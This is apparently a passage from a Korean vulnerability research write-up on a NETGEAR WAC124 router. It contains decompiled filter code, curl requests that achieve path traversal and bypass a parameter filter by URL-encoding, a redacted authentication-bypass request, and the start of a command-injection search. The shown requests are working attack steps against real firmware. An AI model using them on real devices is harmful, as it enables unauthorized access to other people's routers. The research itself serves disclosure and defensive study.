์•ž์„œ ์„ค๋ช…ํ•œ '์ž„์˜ ํŒŒ์ผ ์ฝ๊ธฐ' ๊ณผ์ •์—์„œ๋„ ์–ธ๊ธ‰ํ•˜์˜€์ง€๋งŒ, ํ™•์žฅ์ž์— ๋”ฐ๋ผ setup.cgi๋ฅผ ํ†ต๊ณผํ•˜์ง€ ์•Š๊ณ  HTTP ๋ฐ๋ชฌ ๋ชจ๋“ˆ์ธ mini_httpd์—์„œ ์ง์ ‘ ์ฒ˜๋ฆฌํ•œ๋‹ค๊ณ  ์–ธ๊ธ‰์„ ํ–ˆ์—ˆ๋Š”๋ฐ์š”.

ํฅ๋ฏธ๋กญ๊ฒŒ๋„ ์ด mini_httpd๋ผ๋Š” ํŒŒ์ผ์€ ACME์˜ mini_httpd ํ”„๋กœ์ ํŠธ๋ฅผ ์ปค์Šคํ„ฐ๋งˆ์ด์ง• ํ•œ ๊ฒƒ์œผ๋กœ ํ™•์ธํ•˜์˜€์Šต๋‹ˆ๋‹ค.

์•ˆํƒ€๊น๊ฒŒ๋„ ์ปค์Šคํ„ฐ๋งˆ์ด์ง• ๋œ ๋นŒ๋“œ์™€ ์˜ค๋ฆฌ์ง€๋„ ๋นŒ๋“œ๋ฅผ diff ํ•ด๋ณด๋‹ˆ ์œ ์‚ฌ๋„๊ฐ€ ๋‚ฎ๊ณ  ๋‹ค๋ฅธ ์ ์ด ๋„ˆ๋ฌด ๋งŽ์•˜๊ธฐ์— ๊ณต์‹ ์ฝ”๋“œ๋ฅผ ๊ตณ์ด ์ฝ๊ฑฐ๋‚˜ ํ•˜์ง€๋Š” ์•Š์•˜์Šต๋‹ˆ๋‹ค.

mini_httpd๋ฅผ ๋œฏ์–ด์„œ ํ•œ์ฐธ ์ฝ”๋“œ๋ฅผ ์ฝ๋‹ค๋ณด๋‹ˆ path_exist๋ผ๋Š” ํ•จ์ˆ˜์— ๋ช‡๊ฐ€์ง€ ์žฌ๋ฏธ๋‚œ ์ฒดํฌ ๊ณผ์ •์ด ์žˆ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

uint path_exist(char *requested_path,char **s_currentstring_html,char *haystack)
{
  char *needle;
  int iVar1;
  char *pcVar2;
  char bufPath [1024];
  char *tmp;
  
  ...
  needle = strstr(requested_path,".gif");
  if ((((needle == (char *)0x0) && (needle = strstr(requested_path,".css"), needle == (char *)0x0))
      && (needle = strstr(requested_path,".js"), needle == (char *)0x0)) &&
     (((needle = strstr(requested_path,".xml"), needle == (char *)0x0 &&
       (needle = strstr(requested_path,".png"), needle == (char *)0x0)) &&
      (needle = strstr(requested_path,".jpg"), needle == (char *)0x0)))) {
    return 0;
  }
  needle = strstr(requested_path,".htm");
  if (needle != (char *)0x0) {
    return 0;
  }
  needle = strstr(requested_path,"html");
  if (needle == (char *)0x0) {
    ...
    needle = strstr(requested_path,"todo=");
    if (needle != (char *)0x0) {
      return 0;
    }
    ...
    memset(bufPath,0,0x400);
    strncpy(bufPath,requested_path,0x3ff);
    iVar1 = strncmp(bufPath,"/setup.cgi?",0xb);
    if (iVar1 == 0) {
      needle = strstr(bufPath,"next_file=");
      if (needle == (char *)0x0) {
        return 1;
      }
      pcVar2 = strchr(needle,0x26);
      if (pcVar2 == (char *)0x0) {
        return 1;
      }
...
      *pcVar2 = '\0';
      pcVar2 = strstr(needle,".gif");
      if (pcVar2 != (char *)0x0) {
        return 1;
      }
...
      pcVar2 = strstr(needle,".js");
      if (pcVar2 != (char *)0x0) {
        return 1;
      }
      pcVar2 = strstr(needle,".png");
    }
    else {
...
      needle = strstr(bufPath,".xml");
      if (needle != (char *)0x0) {
        return 1;
      }
      pcVar2 = strstr(bufPath,".png");
      needle = bufPath;
    }
    if (pcVar2 != (char *)0x0) {
      return 1;
    }
    needle = strstr(needle,".jpg");
    return (uint)(needle != (char *)0x0);
  }
  return 0;
}

์–ธ๋œป ์ด ํ•จ์ˆ˜๋ฅผ ์ฝ์–ด๋ณด๋ฉด ๋งค์šฐ ๋ณต์žกํ•ด๋ณด์ž…๋‹ˆ๋‹ค. (...)

ํ•˜์ง€๋งŒ ํ•จ์ˆ˜์™€ ๊ด€๋ จ๋œ ์ฝ”๋“œ๋„ ์ „๋ถ€ ์ฝ๋‹ค๋ณด๋ฉด, ์ด ์ฝ”๋“œ์˜ ์š”์ ์€ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž๊ฐ€ ํŠน์ • ํŒŒ์ผ ํ™•์žฅ์ž์—๊ฒŒ๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ์ „๋ถ€์˜€์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ณธ์ ์œผ๋กœ path_exist ํ•จ์ˆ˜๊ฐ€ ํ–‰ํ•˜๋Š” ๊ฒƒ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  1. path์— .htm, .html๋‚˜ .asp ๋“ฑ์˜ ๊ฐ’์ด ํฌํ•จ๋˜์ง€ ์•Š๋Š”์ง€๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

  2. ๊ฒฝ๋กœ์— ์œ„ํ—˜ํ•œ ๊ฐ’(todo= ์™€ ๊ฐ™์ด ์˜ˆ๊ธฐ์น˜ ๋ชปํ•œ ๋™์ž‘์„ ์ผ์œผํ‚ค๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ ๋“ฑ)์ด ๋“ค์–ด๊ฐ€์ง€ ์•Š๋Š”์ง€ ๋“ฑ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ถ€ ํ•„ํ„ฐ๋ง ์šฐํšŒ

todo=์˜ ๊ฒฝ์šฐ ๊ด€๋ฆฌ์ž ๊ธฐ๋Šฅ์„ ์„ค์ •ํ•˜๋Š”๋ฐ ์ฒ˜๋ฆฌ๋˜๋Š” ํ•„์ˆ˜์ ์ธ ํŒŒ๋ผ๋ฏธํ„ฐ์ด๋ฏ€๋กœ ํ•ด๋‹น ํŒŒ๋ผ๋ฏธํ„ฐ๋ถ€ํ„ฐ ์šฐํšŒํ•˜๋Š” ๊ณผ์ •์„ ์ง„ํ–‰ํ•˜๊ธฐ๋กœ ํ•˜์˜€์Šต๋‹ˆ๋‹ค.

์•ž์„œ ์ž‘์„ฑํ–ˆ๋˜ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‹ค์‹œ ํ™•์ธํ•ด๋ด…๋‹ˆ๋‹ค.

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?next_file=../../../../../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd> 

์ด์ œ ์—ฌ๊ธฐ์„œ ํŒŒ๋ผ๋ฏธํ„ฐ ์ด๋ฆ„์—์„œ next_file์˜ e๋ฅผ %65๋กœ ๋ณ€๊ฒฝํ•˜๋ฉด ์–ด๋–ป๊ฒŒ ๋˜๋Š”์ง€ ์‚ดํŽด๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd> 

์ฟผ๋ฆฌ ์ŠคํŠธ๋ง์— ์ธ์ฝ”๋”ฉ ๋˜์–ด์žˆ๋Š” ๊ฒฝ์šฐ์—๋„ ์ •์ƒ์ ์œผ๋กœ ์ž‘๋™ํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ฟผ๋ฆฌ๋ฌธ์ž์—ด ์ „์ฒด๊ฐ€ ๋‚ด๋ถ€์—์„œ ์ž์ฒด์ ์œผ๋กœ ๋””์ฝ”๋”ฉ๋˜์–ด ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์ด์ œ todo= ๋ฅผ ์ถ”๊ฐ€ํ•ด๋ด…์‹œ๋‹ค.

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?todo=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>%         

todo=๋Š” ํ•„ํ„ฐ๋ง์ด ๋˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ์„œ๋ฒ„๋Š” ๋ถ€์ •ํ•œ request_path๋กœ ๊ฐ„์ฃผํ•˜์—ฌ ์‚ฌ์šฉ์ž๋ฅผ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์ œ todo ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๊ฐ’๋„ d๋ฅผ %64๋กœ ๋ณ€๊ฒฝํ•˜๋ฉด ์–ด๋–ป๊ฒŒ ๋ ๊นŒ์š”?

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?to%64o=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<link rel="stylesheet" href="style/basic.css?v=1046">
<script language=javascript type=text/javascript src=funcs.js></script>
<script language=javascript type=text/javascript src="basic.js?v=1046"></script>
<script language=javascript type=text/javascript src=top.js></script>
<script language="javascript" type="text/javascript" src="string.js"></script>
<title>NETGEAR Router WAC124</title>
<meta http-equiv=content-type content='text/html; charset=UTF-8'>
<meta content="MSHTML 6.00.2800.1141" name="GENERATOR">
...
var guest="0";
var sso_error="0";
...
</script>

<body onload="loadvalue();" onResize="change_size();">
<form  onsubmit="return false">
  <div id="top">
    <iframe name="topframe" id="topframe" src="top.html" allowtransparency="true" scrolling="no" height="100%" width="100%" frameborder="0"></iframe>
  </div>
  <div id="container" class="container_center">
    <div id="middle">
      <div id="menu">
        <div id="home" class="basic_button_purple" onclick="click_action('home');"><b><span languageCode = "3059">Home</span></b></div>
        <div id="cloud" class="basic_button" style="display: none" onclick="click_action('cloud');"><b><span  languageCode="3715">NETGEAR Cloud - Cloud Sharing Center</span></b></div>
        <div id="internet" class="basic_button" onclick="click_action('internet');"><b><span languageCode = "70">Internet</span></b></div>
        <div id="wireless" class="basic_button" onclick="basic_menu_color_change('wireless');top.formframe.location.href='setup.cgi?next_file=WLG_dualband_idx.htm&todo=init_wireless_1';"><b><span languageCode = "552">Wireless</span></b></div>
        <div id="attached" class="basic_button" onclick="click_action('attached');"><b><span languageCode = "190">Attached Devices</span></b></div>
        <!--
	<div id="parental" class="basic_button" onclick="click_action('parental');"><b><span languageCode = "3112">Parental Controls</span></b></div>
-->
        <div id="readyshare" class="basic_button" style="display: none" onclick="click_action('readyshare');"><b><span languageCode = "3226">ReadySHARE</span></b></div>
        <!--
	<div id="guest" class="basic_button" style="display: none" onclick="click_action('guest');"><b><span languageCode = "470">Guest Network</span></b></div>
-->
        <div id="turbovideo" class="basic_button" style="display: none" onclick="click_action('turbovideo');"><b><span languageCode = "3227">FastLane</span></b></div>
        <div id="greendown" class="basic_button" style="display: none" onclick="click_action('greendown');"><b><span languageCode = "2038">NETGEAR Downloader</span></b></div>
      </div>
      <!--div id="mini_height"> </div-->
      <div id="formframe_div">
        <iframe name="formframe" id="formframe"  allowtransparency="true" height="100%" width="100%" scrolling="no" frameborder="0" > </iframe>
      </div>
      <div id="footer" class="footer"> <img class="footer_img" src="image/footer/footer.gif">
        <div id="support"> <b languageCode = "3057">HELP & SUPPORT</b> &nbsp; <a target="_blank" href=" http://www.netgear.com/support/product/WAC124.aspx#docs" languageCode = "489">Documentation</a> | <a target="_blank" href="http://www.netgear.com/support/product/WAC124.aspx" languageCode = "3241">Online Support</a> | <a target="_blank" href="https://www.netgear.com/support/product/WAC124.aspx#download" languageCode = "10809">Downloads</a> | <a target="_blank" href="https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL">GPL</a> </div>
        <div id="search" align=right> <b languageCode = "3139">SEARCH HELP</b>
          <input type="text" name="search" value="Enter Search Item" onKeyPress="detectEnter('num',event);" onFocus="this.select();" languageCode = "3042" >
          <input id="search_button" class="search_button" type="button" name="dosearch" value="GO" onClick="do_search();" languageCode = "3055">
        </div>
      </div>
    </div>
  </div>
</form>
<script language="javascript" type="text/javascript" src="langs.js"></script>
</body>

์ •ํ™•ํ•œ ์›์ธ์€ ์•Œ ์ˆ˜ ์—†์—ˆ์ง€๋งŒ, ์›๋ž˜๋Œ€๋กœ๋ผ๋ฉด next_file์— ์žˆ๋Š” xml ํŒŒ์ผ์ด ์ถœ๋ ฅ๋˜์–ด์•ผ ํ•˜๋Š”๋ฐ todo ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์šฐํšŒํ•ด์„œ URL ์ธ์ฝ”๋”ฉํ•˜์—ฌ ๋„˜๊ฒจ์ฃผ๋ฉด ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž์—๊ฒŒ๋งŒ ํ‘œ์‹œ๋˜์–ด์•ผ ํ•  index.htm์˜ ๋‚ด์šฉ์ด ๋Œ€์‹  ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์ด ์‹œ์ ์—์„œ ์ด ๋ฌธ์ž์—ด ์ฒดํฌ๋Š” ์ถฉ๋ถ„ํžˆ ๋ฐ”์ดํŒจ์Šค ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ๊ณ , ๋˜ํ•œ ์„œ๋ฒ„์—์„œ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋™์ž‘์ด ์ผ์–ด๋‚˜๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ๋„ ์•Œ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

HTTP ๋ฆฌํ€˜์ŠคํŠธ ํผ์ง•

์ด์ œ ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด์— ์˜ํ•œ ๋ฐ”์ดํŒจ์Šค ๊ฐ€๋Šฅ์„ฑ์„ ๋ฐœ๊ฒฌํ•œ ํ›„, curl๋กœ HTTP ์š”์ฒญ์„ ์†ก์‹ ํ–ˆ์„ ๋•Œ ๋ช‡ ๊ฐ€์ง€ ๊ธฐ๋ฌ˜ํ•œ ๋™์ž‘๋„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.

$ curl 'http://192.168.0.100/test' -v
*   Trying 192.168.0.100...
* TCP_NODELAY set
* Connected to 192.168.0.100 (192.168.0.100) port 80 (#0)
> GET /test HTTP/1.1
> Host: 192.168.0.100
> User-Agent: curl/7.64.1
> Accept: */*
> 
(null) 403 Forbidden
Server: mini_httpd/1.24 10May2016
Date: Tue, 07 Sep 2021 11:32:54 GMT
Cache-Control: no-cache,no-store
Content-Type: text/html; charset=%s
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

  <head>
    <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
    <title>403 Forbidden</title>
  </head>

  <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">

    <h4>403 Forbidden</h4>
Curl is forbidden
</BODY>
</HTML>
* Closing connection 0

์‘๋‹ต์˜ ์ฒซ ๋ฒˆ์งธ ์ค„์„ ์ฝ์œผ๋ฉด ๋ฆฌ์Šคํฐ์Šค๋กœ (null) 403 Forbidden ๋กœ ์ถœ๋ ฅ๋จ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์‹œ์ ์—์„œ ์ด๋ฏธ ๋” ๊นŠ๊ฒŒ ์ƒ๊ฐํ•˜์ง€๋Š” ์•Š์•˜๋Š”๋ฐ, ์ด๋Š” mini_httpd ์˜ ์ฝ”๋“œ ๋ฒ ์ด์Šค์™€ ์˜ˆ๊ธฐ์น˜ ๋ชปํ•œ ๋™์ž‘์ด ๋„ˆ๋ฌด ๋งŽ์•„ ๊ทผ๋ณธ์ ์ธ ์›์ธ์„ RCA (Root Cause Analysis)๋ฅผ ํ•˜๊ธฐ์—” ๋งŽ์€ ์‹œ๊ฐ„์ด ๊ฑธ๋ ธ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ง์ ‘ ๋ถ„์„์„ ํ•˜๋Š” ๋Œ€์‹  ์ธ์ฆ ์šฐํšŒ๋ฅผ ํ•  ์ˆ˜ ์žˆ๋„๋ก ๊ฐ„๋‹จํ•˜๊ฒŒ path ํผ์ €๋ฅผ ์ž‘์„ฑํ•˜์˜€์Šต๋‹ˆ๋‹ค.

์ดํ›„ 20~30๋ถ„ ์ •๋„ dumb fuzzer๋ฅผ ์‹คํ–‰ํ•˜๋‹ˆ ์ธ์ฆ์šฐํšŒ๋ฅผ ํ•  ์ˆ˜ ์žˆ๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ , ์ด๋ฅผ ํ†ตํ•ด ์„ฑ๊ณต์ ์œผ๋กœ ์ธ์ฆ ์šฐํšŒ๋ฅผ ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ์–ด๋–ป๊ฒŒ ์šฐํšŒ์— ์„ฑ๊ณตํ–ˆ๋Š”์ง€๋Š” ์ž์„ธํžˆ ์„œ์ˆ ํ•˜์ง€๋Š” ์•Š๊ฒ ์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ NETGEAR์˜ ํƒ€ ์žฅ๋น„์—์„œ๋„ ์œ ์‚ฌํ•œ ์ทจ์•ฝ์ ์ด ๋งŽ์„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์—ฌ๋Ÿฌ๋ถ„์ด ์ง์ ‘ ํผ์ €๋ฅผ ๋งŒ๋“ค์–ด์„œ ์ฐพ์•„ ๋˜ ๋‹ค๋ฅธ ์ œ๋กœ๋ฐ์ด๋ฅผ ์ฐพ๋Š” ๊ฒƒ๋„ ๊ดœ์ฐฎ์„ ๊ฒƒ ๊ฐ™๋‹ค๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค. ๐Ÿ™‚ ๊ฒŒ๋‹ค๊ฐ€ ๋‹ค๋ฅธ ๋ณด์•ˆ ์—ฐ๊ตฌ์ž๋„ path fuzzing์„ ํ†ตํ•ด ์œ ์‚ฌํ•œ ๋ฒ„๊ทธ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์ข…์ข…์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ดœ์ฐฎ์€ fuzzer๋ฅผ ๋งŒ๋“ค๋ฉด ๊ฝค ๊ดœ์ฐฎ์€ ์ทจ์•ฝ์ ์ด ๋‚˜์˜ฌ ์ˆ˜๋„ ์žˆ๋‹ค๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค.

์ตœ์ข…์ ์œผ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ณต๊ฒฉ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ†ตํ•ด ์ธ์ฆ ์—†์ด ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

curl 'http://192.168.0.100/***REDACTED***' -H "User-Agent: Mozilla/5.0" -v
*   Trying 192.168.0.100...
* TCP_NODELAY set
* Connected to 192.168.0.100 (192.168.0.100) port 80 (#0)
> GET /***REDACTED*** HTTP/1.1
> Host: 192.168.0.100g
> Accept: */*
> User-Agent: Mozilla/5.0
> 
***REDACTED*** HTTP/1.1 200 Ok
Server: mini_httpd/1.24 10May2016
Date: Tue, 07 Sep 2021 12:09:55 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 7441
Last-Modified: Fri, 20 Mar 2020 06:26:17 GMT
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><link rel="stylesheet" href="style/top.css">
<script language="javascript" type="text/javascript" src="funcs.js"></script>
<script language="javascript" type="text/javascript" src="top.js"></script>
<script language="javascript" type="text/javascript" src="string.js"></script>
<script language="javascript" type="text/javascript" src="utility.js"></script>
<script language="javascript" type="text/javascript" src="linux.js"></script>
<link rel="stylesheet" href="style/form.css">
<script language="javascript" type="text/javascript">
//NOTE: set nvram "dbg_cpu_mirror=1" to let cpu-port mirror to lan0 
var telnet_status = "@dbg_telnet_stat#";
var wan_mirror_status = "@dbg_wan_mirror_stat#";
var dbg_store_location = "@dbg_storage_location#";
var dbg_wifi_band = "@dbg_wifi_band#";
var dbg_button_status = "@dbg_button_status#";
var dbg_ipv6_ping_status = "@dbg_ipv6_ping_status#";
...

<div id="other">
<table width="100%" border="0" cellpadding="0" cellspacing="2">
	<tr><td colspan="4"><input type="checkbox" name="enable_telnet" id="enable_telnet" onClick="return dbg_configure('telnet')"><b languageCode="">Enable Telnet</b></td></tr>
	<tr><td colspan="4"><input type="checkbox" name="wan_lan_mirror" id="wan_lan_mirror" onClick="return dbg_configure('wan_mirror')"><b languageCode="">WAN Port mirror to LAN port1</b></td></tr>
	<tr><td colspan="4"><input type="checkbox" name="ipv6_ping_enable" id="ipv6_ping_enable" onClick="return dbg_configure('ipv6_ping')"><b languageCode="">Allow external IPv6 hosts ping internal IPv6 hosts</b></td></tr>
</table>
</div>
<!--<input type="hidden" name="todo" value="changelanguage">-->
<input type="hidden" name="this_file" value="debug.htm">
<input type="hidden" name="next_file" value="debug.htm">
<input type="hidden" name="SID" value="@SID#">
<input type="hidden" name="h_language" value="@h_language#">
</form>

<script language="javascript" type="text/javascript" src="langs.js"></script>

</body>
</html>

* Closing connection 0

์ปค๋งจ๋“œ ์ธ์ ์…˜ ์ฐพ๊ธฐ

์ด์ œ ์ธ์ฆ ๋ฐ”์ดํŒจ์Šค์— ์„ฑ๊ณตํ•˜์˜€์œผ๋‹ˆ ์ด์ œ ํ…”๋„ท ์ฝ˜์†”์„ ๋””๋ฒ„๊ทธ ํŽ˜์ด์ง€์—์„œ ์„ค์ •ํ•˜์—ฌ ์‰˜ ํฌํŠธ๋ฅผ ์—ด ์ˆ˜๋Š” ์žˆ์ง€๋งŒ.. ์•„์ง ๋ฌธ์ œ๊ฐ€ ๋‚จ์•„ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ด€๋ฆฌ์ž ๊ณ„์ •์— ๋Œ€ํ•œ ์ธ์ฆ ์ •๋ณด๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์•ž์„œ ์†Œ๊ฐœํ•œ ์ž„์˜์˜ ํŒŒ์ผ์„ ์ฝ๋Š” ๊ณต๊ฒฉ ๋ฐฉ์‹๊ณผ ๊ฐ™์€ ๊ฒฝ์šฐ, USB ๋“œ๋ผ์ด๋ธŒ๋ฅผ ์ด์šฉํ•˜๋Š” ๋“ฑ์˜ ์ „์ œ ์กฐ๊ฑด์ด ํ•„์š”ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ฐพ์•„๋ณด๊ธฐ๋กœ ํ•˜์˜€์Šต๋‹ˆ๋‹ค.

๋‹ค์‹œ setup.cgi์˜ ๋‚ด๋ถ€ ์ฝ”๋“œ๋“ค์„ ๋˜์งš์–ด๋ณด๋ฉด, COMMAND ํ•จ์ˆ˜๋ผ๋Š” ๊ฒƒ์ด ์žˆ๋Š”๋ฐ, ์ด ํ•จ์ˆ˜๋Š” ์ผ๋ฐ˜์ ์ธ system() ํ•จ์ˆ˜์ฒ˜๋Ÿผ ๋™์ž‘ํ•˜์ง€๋งŒ ๋Œ€์‹  ํฌ๋งท ์ŠคํŠธ๋ง์„ ์ง€์›ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

                **************************************************************
                *                       THUNK FUNCTION                       *
                **************************************************************
                thunk undefined COMMAND()
                    Thunked-Function: <EXTERNAL>::COMMAND
                    assume t9 = 0x4a0e10
undefined         v0:1           <RETURN>
                <EXTERNAL>::COMMAND                             XREF[210]:   Entry Point(*), 
                                                                            vuln_func1:00409ad8(c), 
                                                                            vuln_func1:00409b2c(c), 
                                                                            vuln_func1:00409be0(c), 
                                                                            FUN_0040b9ec:0040bb88(c), 
                                                                            FUN_0040ca70:0040cf98(c), 
                                                                            FUN_0040ca70:0040d04c(c), 
                                                                            FUN_0040ca70:0040d07c(c), 
                                                                            FUN_0040d808:0040d8cc(c), 
                                                                            FUN_0040d808:0040d8e4(c), 
                                                                            FUN_004138f8:00413930(c), 
                                                                            FUN_00413998:004139cc(c), 
                                                                            FUN_00413a50:00414c5c(c), 
                                                                            FUN_00415f94:00415fa4(j), 
                                                                            FUN_00450968:00450a88(c), 
                                                                            FUN_00450968:00450aa0(c), 
                                                                            FUN_0046a880:0046a990(c), 
                                                                            FUN_004858dc:004859e0(c), 
                                                                            FUN_004858dc:004859f8(c), 
                                                                            del_folder:00495aa8(c), [more]
004a0e10 10 80 99 8f     lw         t9,-0x7ff0(gp)=>__DT_PLTGOT                      = 00000000
        assume t9 = <UNKNOWN>
004a0e14 21 78 e0 03     move       t7,ra
004a0e18 09 f8 20 03     jalr       t9
004a0e1c 9c 01 18 24     _li        t8,0x19c

ํ•ด๋‹น ํ•จ์ˆ˜์˜ ํ˜ธ์ถœ์›์ด ๋˜๋Š” ํ•จ์ˆ˜๋ฅผ ์กฐ์‚ฌํ•˜๋˜ ์ค‘, iTunes Server์˜ ํŒจ์Šค์›Œ๋“œ๋ฅผ ์„ค์ •ํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜์˜ ๊ฒฝ์šฐ remote_passcode๊ฐ€ ์œ ํšจํ•œ ์ด๋ฆ„์ผ ๊ฒฝ์šฐ /tmp/itunes/apple.remote์— ์•”ํ˜ธ๋ฅผ ์”๋‹ˆ๋‹ค.

// 004d99d0 44 dc 4a 00     addr       s_iserver_allow_ctrl_004adc44                    = "iserver_allow_ctrl"
// 004d99d4 d4 87 40 00     addr       FUN_004087d4

undefined4 FUN_004087d4(undefined4 param_1)

{
  undefined4 uVar1;
  int iVar2;
  char *pcVar3;
  
  uVar1 = find_val(param_1,"remote_passcode");
  iVar2 = test_command_inject(uVar1);
  if (iVar2 == 0) {
    uVar1 = find_val(param_1,"this_file");
    alert("Invalid passcode value!",uVar1);
    uVar1 = 0xffffffff;
  }
  else {
    uVar1 = find_val(param_1,"remote_passcode");
    nvram_set("remote_passcode",uVar1);
    nvram_commit();
    pcVar3 = (char *)nvram_get("remote_passcode");
    if (pcVar3 == (char *)0x0) {
      pcVar3 = "";
    }
    if (*pcVar3 != '\0') {
      COMMAND("/bin/echo dummy > /tmp/itunes/apple.remote");
      COMMAND("/bin/echo %s >> /tmp/itunes/apple.remote",pcVar3);
    }
    sleep(2);
    uVar1 = find_val(param_1,"this_file");
    html_parser(uVar1,param_1,key_fun_tab);
    uVar1 = 0;
  }
  return uVar1;
}

๊ทธ๋Ÿฌ๋‚˜ ์‹ค์ œ๋กœ COMMAND ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ์ „์—๋Š” ๋Œ€๋ถ€๋ถ„ test_command_inject๋ผ๋Š” ์ฒดํฌ ํ•จ์ˆ˜๊ฐ€ ์žˆ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด์–ด์„œ test_command_inject ํ•จ์ˆ˜๋ฅผ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

undefined4 test_command_inject(char *param_1)

{
  char *pcVar1;
  FILE *__stream;
  
  pcVar1 = strstr(param_1,"/bin");
  if (((pcVar1 == (char *)0x0) && (pcVar1 = strstr(param_1,"/sbin"), pcVar1 == (char *)0x0)) &&
     (pcVar1 = strchr(param_1,0x60), pcVar1 == (char *)0x0)) {
    return 1;
  }
  __stream = fopen("/dev/console","a+");
  if (__stream != (FILE *)0x0) {
